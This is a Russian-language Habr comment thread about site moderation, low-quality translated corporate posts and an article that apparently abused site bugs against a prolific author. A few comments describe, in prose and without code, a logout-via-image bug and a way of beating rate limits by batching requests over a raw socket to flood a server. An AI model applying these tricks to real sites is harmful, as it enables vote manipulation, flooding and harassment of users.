25.01.2022 14:17+1Вообще по правилам флуд в комментариях карается строгим баном. Однако часто флуд спокойный, околотематический, конструктивный, хоть и не по теме - раз всем пользователям комфортно, мы не вмешиваемся, всё же Хабр - максимально саморегулируемое сообщество.
Но когда модератор в ночи видит кучу комментариев с минусами, пошли переходы на личности (или же начали сыпаться жалобы - обычно на статьи, которым уже 5-7 дней), приходится анализировать и действовать, пока не дошло до грубостей и оскорблений. Мы сами не любители банов и стараемся до них не доводить, поэтому такой способ показался симпатичнее. Кстати, так "врываюсь" не первый раз :-)
qbertych
26.01.2022 16:07+6А расскажите, почему с недавних пор банхаммер не оставляет следов типа "НЛО прилетело и опубликовало эту надпись здесь", а начисто удаляет целые треды? Даже если претензии только к одному комментарию из всего треда?
Хотя меня больше поражает то, что самые неадекватные комментарии одиозных юзеров удаляются, но сами они в бан попадают крайне редко. И если раньше по комментариям можно было сразу оценить адекватность человека, то сейчас вы своими же руками выставляете, мягко говоря, неоднозначных персонажей белыми и пушистыми. Такая медвежья услуга всем читателям Хабра.
Popadanec
26.01.2022 16:48+2По моим личным наблюдениям Хабр движется в сторону только корп. блогов вообще без комментирования. Потому что под ними чревато оставлять комментарии.
Новая версия что для писателей, что для читателей не удобна. И пишут здесь всё больше за деньги.
ru1z
26.01.2022 17:27+5начисто удаляет целые треды
Это точно более чем странно. Пытался однажды ответить на комментарий, но он вдруг исчез, со всей веткой, хотя сам комментарий остался в профиле username.
kbaa
25.01.2022 20:18+6то косвенно, как сейчас про 3D принтеры
Без вот этой вот всей ветки комментов я бы даже не подумал, что там про вас. Может, и вам тоже показалось? Статей про 3д печать на хабре столько, что они надоели несколько лет назад и лично у меня уже что-то типа «баннерной слепоты» на них.пришел к выводу, что у итишников уже очень давно интересы сильно расширились
В смысле? А раньше вы думали, что итишники с другой планеты завезены и у них интересы какие-то другие?
В целом, я тут на стороне автора. Например, статьи вашего коллектива, которые более-менее интересны для меня — мне попадались, написано неплохо. Но я бы предпочел читать их на другом ресурсе всё-таки, а не здесь. Оно конечно удобно, что всё в одном месте собрано, но время показывает, что то, зачем я изначально приходил на хабр, медленно вымывается, ресурс становится всё менее специфичным и теряет свою «фишку», просто становясь очередным реддитом, пикабу или где там еще принято время убивать
Т. е. в краткосрочной перспективе вся эта разнообразная тематика, естественно, находит своего читателя и при вменяемом уровне контента набирает свои плюсы. Но в будущем, чтобы найти решение какой-то технической проблемы, заходить придется на какой-нибудь другой ресурс, и это печалит многих, особенно из тех, кто тут был до гиктаймса.phanerozoi_evidence
25.01.2022 21:08-1Может, и вам тоже показалось? Статей про 3д печать на хабре столько, что они надоели несколько лет назад и лично у меня уже что-то типа «баннерной слепоты» на них.
Нет. Это конкретный триггер. Данный человек в открытую неоднократно провоцировал, а потом неоднократно тыкал палкой косвенно и сейчас намекнул косвенно. Статья про 3D печать и его комментарий вышли аккурат после моей в один день с подачей в такой же манере, как и раньше нападал в открытую.
В смысле? А раньше вы думали, что итишники с другой планеты завезены и у них интересы какие-то другие?
Нет, не с другой планеты конечно, но изначально хабр как мне казался исключительно по программированию, пока один из давних знакомых сказал, что не гони пургу, регистрируйся на хабре, кидай статьи по биологии и тебя захабрят когда-нибудь. Однажды рискнул и не зря.
В целом, я тут на стороне автора. Например, статьи вашего коллектива, которые более-менее интересны для меня — мне попадались, написано неплохо. Но я бы предпочел читать их на другом ресурсе всё-таки, а не здесь.
Ну автор статьи вообще не про нас писал. Автор считает, что статьи по биологии, истории вполне могут быть на данном ресурсе. Вот пруф:
Пруф
Но я бы предпочел читать их на другом ресурсе всё-таки, а не здесь. Оно конечно удобно, что всё в одном месте собрано, но время показывает, что то, зачем я изначально приходил на хабр, медленно вымывается, ресурс становится всё менее специфичным и теряет свою «фишку», просто становясь очередным реддитом,
— ну с вами не соглашусь. Хабр, это как журнал "Наука и Техника" и здесь он строго поделен на хабы. Можно настроить свою ленту и не видеть копопоративные блоги, которые так некоторых бесят. Можно убрать хабы с биологией и химией и т.д. и вы получите хабр о кодинге, где статей подобных +100500. Хабр не потеряет свою фишку, потому что здесь суперская модерация, которая не банит всех постоянно и просто так (как не реддите), здесь нет матюков, здесь очень мало мракобесия и даже срачи интересные, не всплывают секс коммиксы и прочая чепуха. Хабр не потерял свою фишку, а наоборот взял в себя лучшее из реддита и других подобных площадок, а корпоративные блоги, ну хабру нужно жить и авторов вознаграждать. Кстати думаете фанерозой всегда был платными авторами? Мы около года были инди-энтузиастами на хабре и около 3х лет остаемся такими за хабром. Любой инди-энтузиаст, если он захочет получать хорошие гонорары поставит себе такую цель— попасть либо в редакцию, либо в блог–и будет медленно идти к этой цели по плану. Любой энтузиаст может постучаться с предложениями в блог, или к друзьям из блога, или же на крайняк будет писать много качественных статей, чтоб блог сам обратился к энтузиастам. И любой может начать получать неплохие деньги, если конечно приложил к этому много сил. И я уверен, что найдется как минимум один автор итишник, который абсолютно с головой уйдет в профессию автора и будет каждую неделю писать качественную статью, ибо денег можно заработать много. И тогда хобби автора выростает в его любимую работу. Поэтому хабр это ресурс для атишников и их интересы, а также этот ресурс и для людей, которым интересно все.
Т. е. в краткосрочной перспективе вся эта разнообразная тематика, естественно, находит своего читателя и при вменяемом уровне контента набирает свои плюсы. Но в будущем, чтобы найти решение какой-то технической проблемы, заходить придется на какой-нибудь другой ресурс, и это печалит многих, особенно из тех, кто тут был до гиктаймса.
Не придется. В каждом хабе полно статей и на каждого читателя есть свой хаб=). Ненадо бояться, что хабр умрет, хабр жив!
kbaa
26.01.2022 18:34+3это как журнал «Наука и Техника» и здесь он строго поделен на хабы
тут есть некоторые нюансы:
— разделение ресурса на хабр + гиктаймс + <забыл как 3й раздел назвали> было интересной идеей, но не прокатило видимо с т.з. администрации. Как раз было похоже на схожие журналы одного издательства, но тематически разделенные
— хабы это конечно хорошо, но раньше я заходил сюда и мне не надо было ничего настраивать. Почти всегда я находил интересные статьи без лишних движений. Потом это перестало работать. Тогда я зарегался и запилил простую статью, чтобы можно было голосовать и принять участие в «саморегуляции» сообщества. Но сообщество уже стало слишком разношерстным и хочет видеть кучу всего, хорошие технические статьи приходится специально искать (или под ними минимум комментариев — а это тоже была фишка хабра, когда комменты интереснее статьи). Остается только с грустью искать другой уютный ресурс, что я потихоньку и делаю.Ненадо бояться, что хабр умрет, хабр жив!
так что с моей точки зрения он давно уже того, не воняет пока и на том спасибо.хабр это ресурс для атишников и их интересы, а также этот ресурс и для людей, которым интересно все
еще раз повторюсь — айтишники абсолютно такие же люди и интересы у них самые разнообразные. Я просто всегда считал, что подобные ресурсы интересны именно тем, что бОльшая часть контента там связана с какой-то одной темой, а всё остальное вяло обсуждается где-то в разделе «флудилка». Теперь, без танцев с бубном по настройке хабов и скрытию отдельных авторов, это больше похоже на большую флудилку + немного контента для олдфагов.я уверен, что найдется как минимум один автор итишник, который абсолютно с головой уйдет в профессию автора и будет каждую неделю писать качественную статью
Вопрос же не в том, писать или не писать. У меня тут ровно 1 статья. Если взять пересечение того, в чем я шарю и того, что, ИМХО, здесь уместно постить — чего-то нового не получится. Я уверен, что подобные мысли есть у очень многих здесь. Но позже, если всё-таки продолжу сюда заходить, наверное начну выкладывать что-нибудь про хобби или байки с монтажа. Просто по приколу, если аудиторияхаваетс интересом читает всякое, хоть проверить, не разучился ли писать xDавтор статьи вообще не про нас писал
По сути я и отвечаю не конкретно вам, а в целом по проблеме контента на хабре. Просто обычно я читатель, но иногда накапливается, я выдаю комент на многобукаф в более-менее подходящую ветку и переключаюсь обратно в рид-онли. Извините)
phanerozoi_evidence
26.01.2022 19:16тут есть некоторые нюансы:
— разделение ресурса на хабр + гиктаймс + <забыл как 3й раздел назвали> было интересной идеей, но не прокатило видимо с т.з. администрации.Не думаю. Скорее разделение это пятое колесо. Зачем? Это же не вконтактике, где отдельные хабы не создать и приходится создавать отдельные группы, за которыми еще следить нужно. Это по опыту ведения проектов двойная работа и головная боль, поверьте.
хабы это конечно хорошо, но раньше я заходил сюда и мне не надо было ничего настраивать. Почти всегда я находил интересные статьи без лишних движений.
Намного эффективнее сделать вовозможнос именно хабы, что и было реализовано, но и вы правы. Тут просто нужно дополнить. Как? Чтоб была какая нибудь одна большая кнопка, как на пикабу, для того, чтоб скрывать авторов, или неугодные блоги, с возможностью вернуть эти блоги, если прям захочется. Тогда во всех лентах будет ваше любимое. Это все должно настраиваться легко, пока все же есть проблема. Но разделение, это все же не очень хорошо.
Вопрос же не в том, писать или не писать. У меня тут ровно 1 статья. Если взять пересечение того, в чем я шарю и того, что, ИМХО, здесь уместно постить — чего-то нового не получится.
Вы ненаучную работу пишите, чтоб прям новое писать. Я вот шарю в членистоногих. Ранее тут была статья о аномалокарисе от 2018 года помему и я растроился поначалу, что нового мне не написать. А потом я забил на это чувство и написал историю обеаружения и биологию очень подробно и частично процитировал статью от 2018 года, сославшись на нее. И у меня получилась да не новая, но весьма дополненная статья вширь и людям она зашла. Это я к тому, что даже не новый материал можно раскрыть так, что он будет интересен и не хуже старого и не будет возникать чувство баяна. Также вы абстрагируйтесь от слова уместно постить, ибо на хабре есть не технические хабы, в которых вы бы могли развернуться. Главное написать технично и качественно, а не перевод Безумного Макса. Посмотрите какие есть, может найдете еще что-нибудь для себя.
Но позже, если всё-таки продолжу сюда заходить, наверное начну выкладывать что-нибудь про хобби или байки с монтажа. Просто по приколу, если аудитория
хаваетс интересом читает всякое, хоть проверить, не разучился ли писать xDглавное хаб выберете соответствующий и дисклеймер придумайте, с ним негатива в комментариях будет в разы меньше. Я уверен, что людям будет интересно.
еще раз повторюсь — айтишники абсолютно такие же люди и интересы у них самые разнообразные....подобные ресурсы интересны именно тем, что бОльшая часть контента там связана с какой-то одной темой
Про айтишников я абсолютно согласен. Но хабр изначально позиционировался никак ресурс по it— такой насколько я знаю есть, а ресурс для итишников у которых как вы и сказали интпресы хороши. А на счет главной линии, так она есть. И довольно крупная и ее не мало. Опять же танцев с бубнами ненужно. Даже с нынешней структурой своя лента настраивается очень просто. Вот посмотрите в каких хабах данная статья находится? Эти хабы и поставьте в ленту. Тут реально другая проблема— мусор от подобных Безумному Максу встречается, но это уже другая история.
По сути я и отвечаю не конкретно вам, а в целом по проблеме контента на хабре. Просто обычно я читатель, но иногда накапливается, я выдаю комент на многобукаф в более-менее подходящую ветку и переключаюсь обратно в рид-онли. Извините)
Ну я вас понял. В любом случае, я думаю модераторы подумают, чтоб всем было комфортно. И биологам и технорям и химикам и избавят нас всех от мусорных переводов и сделают так, чтоб лагерь естественнонаучников с лагерем технических специалистов не конфликтовал и не грызился друг на друга.
kbaa
26.01.2022 20:39Вы ненаучную работу пишите, чтоб прям новое писать
но я и занимаюсь далеко не rocket science, поэтому по моей тематике скорее всего выйдет дубликат какой-нибудь имеющейся статьи. Нет смысла писать про очередной проект на Java Spring, если там не было каких-то особенностей или хотя бы забавных факапов.абстрагируйтесь от слова уместно постить
как только на 100% для себя решу что хабр окончательно превратился в нечто иное, так сразу и забуду. А пока это как бы основная моя мысль, почему ресурс превратился в более популярный, но гораздо менее уютный.Это все должно настраиваться легко, пока все же есть проблема
прикол в том, что хабы были всегда (ну или сколько я помню), необходимости их настраивать под себя — лично у меня не было. Как не было (по крайней мере популярных) статей на тему «как скрыть авторов/настроить ленту/ и т.п.»по опыту ведения проектов двойная работа и головная боль
конечно. Вопрос, какие цели и приоритеты у администрации. И, как после этих разделений-слияний потом писали в коментах, помимо сложности управления наверняка количество просмотров и проданной рекламы сыграло роль. А может быть вообще была многоходовочка, заманить побольше нехардкорных айтишников и гиков на отдельный ресурс, потом объединить всё обратно, получить увеличении аудитории и выручку с продажи рекламы (уверен, что стоимость показа на старом и авторитетном хабре была выше, чем на новом непонятном гиктаймсе, а потом — крэкс, фэкс, пэкс! — и рекламу за бОльший ценник можно продавать на обе аудитории, добровольно-принудительно собрав всё в кучу)
Тут наверное классическая проблема, когда старожилы ресурса не одобряют нововведений, а администрация коммерческого всё-таки проекта логично пытается увеличивать прибыль.
phanerozoi_evidence
26.01.2022 20:55выйдет дубликат какой-нибудь имеющейся статьи. Нет смысла писать про очередной проект на Java Spring, если там не было каких-то особенностей или хотя бы забавных факапов.
Ну вот можно написать обзор проекта так, как никто не описывал, или если это собственный проект, то там полюбому есть свой стиль создателя и это будет интересно. Главное не думать, как один из персонажей южного парка "это уже было в симпсонах", а то ничего и не получится. В симпсонах было всё, но главное это не симпсоны, а вы и ваш материал.
Вопрос, какие цели и приоритеты у администрации. И, как после этих разделений-слияний потом писали в коментах,
в комментах писать могут что угодно и как угодно. В них скрыты ложь, заблуждения, правда, догадки, личный опыт, раследования правильные и не правильные. Все это переплитается в единый комок конспирологических теорий и искать в них истину, как искать иглу в стоге сена. Известно одно– причин было много, а какие именно– известно только руководству и модерации и возможно там было все до банальности просто без всяких многоходовок, а может и наоборот. Помоему, это сейчас не имеет значения
kbaa
26.01.2022 22:05+3Напомню, что у нас точки зрения изначально разные.
Я нисколько не спорю, чтоможно написать обзор проекта так, как никто не описывал
Я просто считаю, что здесь это не нужно, если нет интересных технических деталей.главное это не симпсоны, а вы и ваш материал
и в моей системе координат сюда еще добавляется заморочка, что не стоит всё подряд тащить на хабр, даже если это интересно и хорошо написано.
Я даже не стараюсь вас переубедить, а просто объясняю, почему некоторые олдфаги типа меня с негативом относятся ко многим публикуемым материалам. Направление развития давно понятно, бороться уже поздно, примыкать неохота.
Дождусь, когда хабр окончательно станет просто ресурсом для прокрастинации и появится хаб «рыбалка». Возможно, сделаем с вами совместную статью на тему выбора наживки, где рассмотрим калорийность и прочие характеристки червей, мотыля и опарыша ;)
phanerozoi_evidence
27.01.2022 09:30и в моей системе координат сюда еще добавляется заморочка, что не стоит всё подряд тащить на хабр, даже если это интересно и хорошо написано.
ну заморочка мне понятна. Правда, если материал близок к техническому и сделан вами, то называть его "всем подряд" мне кажется не правильным. К слову в рамках хаба биологии я тоже не тащу все подряд, ибо я уже знаю вкусы читателей и то, что им интересно.
Я даже не стараюсь вас переубедить, а просто объясняю, почему некоторые олдфаги типа меня с негативом относятся ко многим публикуемым материалам. Направление развития давно понятно, бороться уже поздно, примыкать неохота.
Я это прекрасно понимаю. Вообще у многих высокоразвитых социальных животных есть поведедение отторжения перемен в прежних условиях, что подмечал и Лоренц. Так, например часть людей в штыки воспринимают новвоведения нарушающие их зону комфорта, в народе подобное иногда называют консерватизмом взглядов, или ума. Это приводит, либо всё-таки к принятию новых изменений, либо к уходу от триггера.
Дождусь, когда хабр окончательно станет просто ресурсом для прокрастинации и появится хаб «рыбалка». Возможно, сделаем с вами совместную статью на тему выбора наживки, где рассмотрим калорийность и прочие характеристки червей, мотыля и опарыша ;)
Ну с такой позиции я не рассматривал червей. Про биологию опарышей и мотыля рассказать могу, но что лучше для рыбалки, сказать будет сложно, так как рыбак я весьма посредственный.=)))). Но вот связать it и биологию – интересно. Скажем, например сделать робота, в который загрузить подобие мозга в процессе онтогенеза от личинки до взрослой особи, заставить робота думать, как муха. Это сложно, это интересно. Я помню только робота с аи основанном на модели мозга червя
phanerozoi_evidence
27.01.2022 12:44-2прикол в том, что хабы были всегда (ну или сколько я помню), необходимости их настраивать под себя — лично у меня не было. Как не было (по крайней мере популярных) статей на тему «как скрыть авторов/настроить ленту/ и т.п.»
Появилось много новых хабов, например мне удалось выбить хаб "биология", это новый хаб, т.е. не все хабы появились давно.
tyomitch
25.01.2022 12:28+1«Человек, который делает перевод, должен понимать, о чем текст» — далеко не всегда означает «Человек, который делает перевод, пытается понять, о чем текст».
Neikist
25.01.2022 18:12+2А еще набираете вы нужный опыт, можно было бы написать, да вот только это все уже до вас рассматривали. Пусть может даже и не на хабре. Это та причина по которой я за 10 лет на хабре и 7 в айти только недавно статьей разродился на тему, которая показалась мне хоть немного оригинальной.
dartraiden
24.01.2022 18:23+3могу надёжно
Ну, вся надёжность кончится ровно в тот момент, когда поток жалоб от пользователей достигнет поддержки и администрация удалит проблемный коммент, а заодно и аккаунт, его оставивший, заодно и уязвимость исправят.
Использование атакующим VPN вообще не проблема, в Википедии, например, эту проблему решили очень просто, заблокировав диапазоны VPN-провайдеров и хостеров на много лет: хочешь редактировать — пускай трафик до ресурса в обход VPN, не хочешь — не надо, тогда только читай.tyomitch
24.01.2022 19:02+12Думаю, на хабре немало желающих заблокировать диапазоны хостеров, т.е. топ-4 из habr.com/ru/companies
dartraiden
24.01.2022 22:26+1Переводчики, вероятно, сидят у себя дома на удалёнке. Да и для нужных хостеров будет, конечно, сделано исключение в виде диапазона, с которого выходит в сеть их офис.
dikey_0ficial
25.01.2022 08:01наверное, имелось в виду, что эти компании занимаются услугами хостинга
Saymon
25.01.2022 11:38И сильно блокировки роскомцензуры помогают против технической аудитории? Тот же автор топика влет обойдет подобный бред, а вот остальнх, кто не имеет деструктивного настроя, но у него из за вышеупонятных весь трафик заверут, только разозлит.
mSnus
24.01.2022 18:51+6Только один вопрос - а почему OTUS, а не @Catx2 или Лысый Камрад? ))
Catx2
24.01.2022 19:05+3Сам удивлён. Как и статистикой под субботним постом, который последний на данный момент. Не исключаю даже что кнопочку на нём прожали, но что-то пошло не так.
phanerozoi_evidence
24.01.2022 19:59-19Не получилось, не фортануло у завистников=)
dead_undead
25.01.2022 13:37+14Смешно - жалуетесь тут на завистников, но истерика то по-ходу у вас.
(Интересно - у всего коллектива разом, или по очереди?)
arthuriantech
24.01.2022 18:59+2То есть нужно очень быстро сделать много запросов, чтобы проверка на лимит запросов произошла до их завершения.
Не просто делать много запросов, а соединить много запросов в один пакет и послать его напрямую через socket.send. Я так в прошлом развлекался с флудом одного сервера, ручная пересылка чанков через сокет многократно поднимала скорость накрутки. Но для нормально написанных бекендов это не сработает.
picul
24.01.2022 19:05+20MaxRokatansky: переводит статью из интернета, информативную или нет - как повезет, но хотя бы текст обычно нормальный, в конце рекламирует OTUS.
kesn: пишет не особо связные фамильярные тексты, зачастую без технической смысла, но даже когда он есть - он не ищется, так как заголовок не соответствует статье и специалищированных тегов нет; в конце рекламирует свой телеграм-канал.
Даже не знаю где тут крестик, а где трусы...
gecube
24.01.2022 20:06+19хотя бы текст обычно нормальный, в конце рекламирует OTUS.
Вы его переоцениваете. Качество переводов там ниже плинтуса. Материалы имеют сомнительную пользу. А реклама... она всегда раздражает
0xd34df00d
25.01.2022 04:13+18хотя бы текст обычно нормальный
Его статьи-переводы по плюсам я специально сохраняю в отдельную папочку, потому что я знаю, что его статьи-переводы по плюсам — это боль. Это боль криво переведённой терминологии, боль совершенного непонимания предмета, о котором он пишет, да и, чего таить, личное ПТСР от C++. Зачем я это делаю? Чтобы в те дни, когда всё слишком хорошо, открыть какую-нибудь статью из этой папочки, пройтись по ней глазами и снова испытать боль, потому что страдания очищают душу.
А фидбек по своим статьям он всё равно напрочь игнорирует. В лучшем случае, если оценка слишком отрицательная, скроет статью в черновики.
tommyangelo27
25.01.2022 11:02-3Оу, оказалось у kesn'a есть телеграм-канал. Спасибо, я бы даже не заметил без этого коммента!
Alexandroppolus
24.01.2022 19:13+23Не ожидал, что на Хабре такие избитые приколы работают, как разлогин картинкой.. Действительно, kek.
Boomburum
24.01.2022 19:37+39Спасибо, что сообщили про этот баг — ещё утром его хотфикснули :)
Насчёт "слишком много минусуешь" — действительно есть ряд ограничений. Точные лимиты сейчас не помню, но в целом они направлены против бездумного минусования всего и вся.
Насчёт упомянутого автора — мы видим негатив в их сторону, в целом понятны его причины, поэтому недавно связывались с ними, чтобы они пересматривали конттентную политику. Если ничего не поменяется — ну, видимо придётся более радикальные меры предпринимать, такое тоже уже было в нашей практике )kesn Автор
24.01.2022 19:49+31Спасибо за оперативную реакцию техотдела и вам лично за ответ.
Предпринимать меры против кого-то конкретного - бессмысленно. Макс в данной статье - олицетворение класса авторов, и у меня есть сильное подозрение, что ничего не изменится на самом деле. Ну штош ¯_(ツ)_/¯
Boomburum
24.01.2022 19:55+9Я специально написал "насчёт упомянутого автора" — не потому, что я его боюсь по имени назвать, например ) а потому, что под этим тоже скрывается класс авторов/компаний — многим из них прилетают страйки от нас, они не дадут соврать :) Но никто из пользователей этого не замечает, потому что это непубличная история. Равно как и не замечают, когда с дистацнии сходят компании или авторы, которые занимаются неладным )
Pas
24.01.2022 20:08+25Спасибо, что сообщили про этот баг — ещё утром его хотфикснули :)
Уволился ещё две недели назад :)
amarao
24.01.2022 20:59+49Дайте просто возможность 'mute' (не показывать посты конкретного человека для аккаунта) - и проблема саморешится. На медиуме именно так и сделали. Очень удобно.
sim2q
25.01.2022 08:57+4Это было бы очень хорошо!
Видел тут мнение, что тогда народ отпишется от всех корпоблогов.
Не могу сказать за всех, но к примеру только что поставив HabroSanitizer забанил только один блог и не планирую больше. Да и не так много тут материала, что бы разбрасываться.Newbilius
25.01.2022 10:10+5Но ведь эти блоги в куче просмотров и плюсах. Если все эти параметры не накрученыне — то выйдет наоборот, корпблоги получат более целевую аудиторию. Все в выигрыше :)
Ещё один вариант — ввести опции типа mute в платной подписке на хабр. В целом выйдет относительно честный обмен — сервис не теряет в деньгах, пользователь меняет рекламные посты на деньги и экономит нервы.
ar4baJId
25.01.2022 14:12+1Вы дизайн хотфиксните лучше, чтобы рейтинг говностатьи было видно до её заголовка, чтобы время не тратить.
Daddy_Cool
25.01.2022 00:31+6Вопрос можно?
"и постит в надежде, что что-нибудь выстрелит".
Э... и что случится после выстрела? Почет и уважение всего Хабра?
Это я к тому, что кроме плюсиков и цифирок автор кажется не получает особо плюшек-то. Или я чего-то не знаю и на автора удачной статьи валятся пачки денег, его портреты появлятся на первой полосе гугл.ком, кинозвезды начинают назначать свидания?ru1z
25.01.2022 00:48-1Я не знаю подробностей, но имхо, платят достаточно для подобного бездумного брутфорса, откуда по вашему, такое количество низкокачественных статей? Вот, к примеру:
На «Хабре» действует ППА — Программа Поощрения Авторов. Суть ее предельно проста — автор пишет хорошую публикацию, которая получает хорошую оценку от аудитории, после чего на баланс автора системой начисляется определенная сумма. Чем выше оценка публикации — тем выше эта сумма.
Если почитать условия ппа, то, имхо, становится ясно почему такое поведение выгодно. Вряд-ли пачки денег, впрочем ¯\_(ツ)_/¯. Здесь было сравнение с другими площадками habr.com/ru/post/526156gecube
25.01.2022 00:58+1Много ли у упомянутого Макса статей, которые прошли пороговое значение до выплаты? Я все больше вижу оценки в диапазоне от 0 до +10, т.е. до выплаты ему как пешком до Луны. Либо это какой-то сложный план с написанием статей, а потом накруткой их рейтинга ботами... но не верю.. слишком сложно это... и палевно...
gecube
25.01.2022 01:03+3Вот как фигачить надо:
https://habr.com/ru/users/fillpackart/posts/page2/
Лично для меня этот персонаж совершенно неоднозначен, но рейтинги статей вполне себе норм
ru1z
25.01.2022 01:03+3Так я и не знаю деталей, а написал «имхо» про общую ситуацию, где возможно существует местечко и для копипаст-блогеров в профильных компаниях (которые возможно что-то платят и за >+1).
Вот как фигачить надо:
46 статей, это как-то нормально. Имхо, эпатаж — это ок, но не ковровые переводы 1.3k статей. Впрочем не мне судить, это смотря с какой точки зрения смотреть на современный хабр (если как на место для гуглопереводов и надмозг научпопа с коммерцией, то кому-то и ок, наверное).
Daddy_Cool
25.01.2022 01:36Спасибо! Ну как-то все равно скромно - 5 тыс. за хорошую статью, плюс-минус... Хорошую статью быстро можно написать только на каком-нибудь хайпособытии. Но а) будешь не один такой, б) это непредсказуемо. А что-то собственное, на основе своего опыта - долго, т.е. неэффективно.
ru1z
25.01.2022 02:05+1скромно — 5 тыс. за хорошую статью
В корпоративных видимо платят по другому, возможно, за общее количество постов, то есть за рекламу компании и привлечение потенциальных клиентов.
Ниже вот Boomburum написал, что ППА (5 тыс.) только для обычных авторов.Boomburum
25.01.2022 02:14+2Там проще арифметика: написал пост — получил денежку, не написал — не получил. А в случае с ППА можно написать пост и не получить денежку (если рейтинг не набрался). Долго писать на голом энтузиазме не так-то просто. Поэтому многие авторы залезают под крыло каких-либо корп.блогов и лично я не вижу в этом ничего плохого — они продолжают писать толковые посты (как раньше, но дополнительно с попутным заработком), всё что меняется — появляется небольшой баннер (на который многие в целом не обращают внимания).
tyomitch
25.01.2022 12:33+1Э… и что случится после выстрела? Почет и уважение всего Хабра?
Случатся просмотры, трафик на сайт, конверсия в заказы.
Мотивация корпоративных авторов сильно отличается от мотивации инди-энтузиастов.
Metotron0
25.01.2022 07:00никто ничего не сможет сделать
Я бы в такой статье, если бы понял причину разлогина, первым делом попробовал отключить показ картинок на странице и так оставить комментарий.
1A1A1
25.01.2022 07:51+10Я тут наблюдаю классический пример, когда заходишь на конференцию с вопросами, а в ответ получаешь: RTFM или боян. Когда олдами уже всё давно уже перетерто, тысячи постов баталий за плечами, и снова с головой окунаться в это уже запала нет. Фактически, автор призывает к заморозке ресурса и постепенному вымиранию вместе с олдами и их высокой планкой. Перфекционизм это не про улучшения, это про заморозку, прокрастинацию и отмену. Не нравится статья - пройди мимо. Ситуация, когда статьи будут появляться по 5 штук за неделю, и выдержаны в едином стиле БСЭ, вряд-ли многим придется по душе.
Alex_Mtrskn
25.01.2022 12:33+1Ну тут как бы двойственное чувство. Вроде и хорошо почистить от некачественных блогов, но комьюнити не дают это сделать ограничивая количество дизлайков. Печаль.
tyomitch
25.01.2022 12:40+1Саморегуляция комьюнити действует через карму и в рамках принципа «один участник — один голос», чтобы не превращать саморегуляцию в соревнование «чей скрипт быстрее накручивает голоса».
Alex_Mtrskn
25.01.2022 15:37+3Ну я про то, что в сутки нельзя больше 10 минусов поставить о чем упоминает автор (кстати еще нельзя старые статьи минусовать). Вот захожу я и вижу, что человек занимается шитпостингом*, но минусануть я могу только его последние статьи, да и то только 10 из них. И с комментами то же самое.
*шитпостинг - это мое сугубое мнение, но для этого карма и существует :)
tyomitch
25.01.2022 18:59-2Ну я про то, что в сутки нельзя больше 10 минусов поставить о чем упоминает автор
Это не так. Больше похоже, что ограничение на 10 минусов в минуту.
DragonHobo
25.01.2022 07:59-10Спасибо за труд и хорошее настроение ????????
Вы просто сделали моё утро. ???? И! Вау сколько за минусованых комментариев. Любопытно а Безумный Макс уже читал статью.. ????????
ne555
25.01.2022 08:21+2Руководству Хабра неплохо было бы отблагодарить автора за обнаруженную уязвимость и материально.????
ne555
25.01.2022 08:54+3upd. Запрос в Яндексе: "python unittest" выводит 3-й строкой link на статью упомянутого в статье 【противника автора】– "безумного Макса".
С точки зрения маркетинга @MaxRokatansky молодец.
zamboga
25.01.2022 09:00+2Хм, а хабраэффект где? Почему @MaxRokatansky ещё не переименовался из OTUS в Безумного Макса?
kesn Автор
25.01.2022 10:28+11Вы, кажется, не поняли юмора. Он и так безумный Макс по определению
Макс Рокатански, он же Безумный Макс - скиталец пустошей, который пережил кризис, вместе со своим "Чёрным на чёрном". Находится в состоянии перманентной войны с воинами полураспада и стервятниками.
Kirikekeks
25.01.2022 10:09+1Вообще Вы наверно знаете, но есть удобный способ есть компот. Шумовка, такая: подписывайтесь на Авторов по RSS. f12 - поиск по коду - rss ссылка (Автор || канал) и эту ссылку в агрегатор RSS. Получайте фильтрованный Храбр. "Зачем напрасно спорить с веком?" В КДЕ хороший агрегатор RSS штатный. Вполне неплох nextcloud плагин для RSS. Про w2k не скажу, но наверняка есть. И только изюм, абрикосы и чернослив.
khv2online
25.01.2022 11:01+9У автора бывает реально годный контент. А хабр действительно за последний год сильно потерял в качестве. Как в плане качества статей так и в плане технической реализации клиентской части сайта.
Я сам для себя написал скрипт для браузерного плагина tamper-monkey. И вырезаю из ленты всякий хлам про микросервисы, реакты, Отус и прочие МонгоДБ.
netch80
25.01.2022 11:22+3Хм.
Открыл ленту постов Безумного Макса. Открыл два поста с вроде бы интересными заголовками.
Посты тупо ни о чём. Вот думаю, что kesn реально прав. Поставил минусы с формулировкой «низкий технический уровень»…
Автоматизировать как-то пока не хочется, но понимаю…
DmitrySpb79
25.01.2022 14:31+3Автору "зачет" за попытку :) Но к сожалению, это проблема не только Хабра. Когда готовишь материал 2-3 месяца (если например, статья о "железе", особенно более-менее редком), а потом у кого-то в блоге видишь "I’ve been writing for almost a year. .. Now I publish a new article every day" то понимаешь, что против лома нет приема. "Любителям" нет шансов против "профессионалов" :)
vladimirad
25.01.2022 14:51+3OTUS и в реальной жизни так себя ведет, как описано.
Приходит реклама - Бесплатный вебинар по...! Думаю, послушаю, с меня не убудет, рассказываю студентамлекции на похожую тему, вдруг не так, как настоящие спецы.
Регистрируюсь на. (К слову, вы замечали, что все фразы выглядят смешнее, когда в конец добавишь на? Ну, почти все.)
-
День спустя мне звонит Человек, пусть его зовут Павел, хотя назвался он Андреем, и в стиле общения со службой безопасности Сбербранка, начинает строго спрашивать: зачем это я хочу посетить вебинар на, да какие сокровенные мысли у меня на. Видимо я его не удовлетворил, так что ссылки на, мне не приходят на.
Видимо план по рекламе в OTUS, как в советское время план по валу. В валовом выражении, наш бумажный комбинат в передовиках, а что попку вытереть нечем, это не к нам, мы вал гоним на бумагах для записей. В декабре дело было, совсем забыл сказать. Четвертый квАртал, чай премии надо получать.
https://www.sch1329.ru/wp-content/uploads/2022/01/scale_1200-2.jpg
gameplayer55055
25.01.2022 15:21+5Да у нас все становится супер ультра мега толерантным, настолько толерантным, что это уже не толерантно, а просто дурачкам поблажки
С Ютуба дизлайк убрали, тут творится такое, нормального в интернете не найдешь
VovanZ
25.01.2022 19:23+2Почему в python-модуле requests по умолчанию нет таймаута?
Оказывается, на эту тему есть целое обсуждение на гитхабе, никогда не задумывался об этом.
Почему в python-модуле requests по умолчанию каждый запрос создаёт отдельную сессию?
А вот это мне кажется логичнее, чем иметь какое-то неявное глобальное состояние.
kesn Автор
25.01.2022 23:03А вы верно подметили насчёт сессий - думал одно, написал другое. Я имел в виду, что requests в документации пишет про сессии только в advanced usage, хотя сессии как раз-таки в basic usage должны быть, ведь обычно это именно то, что нужно пользователям. Чистые requests.get - более редкий случай.
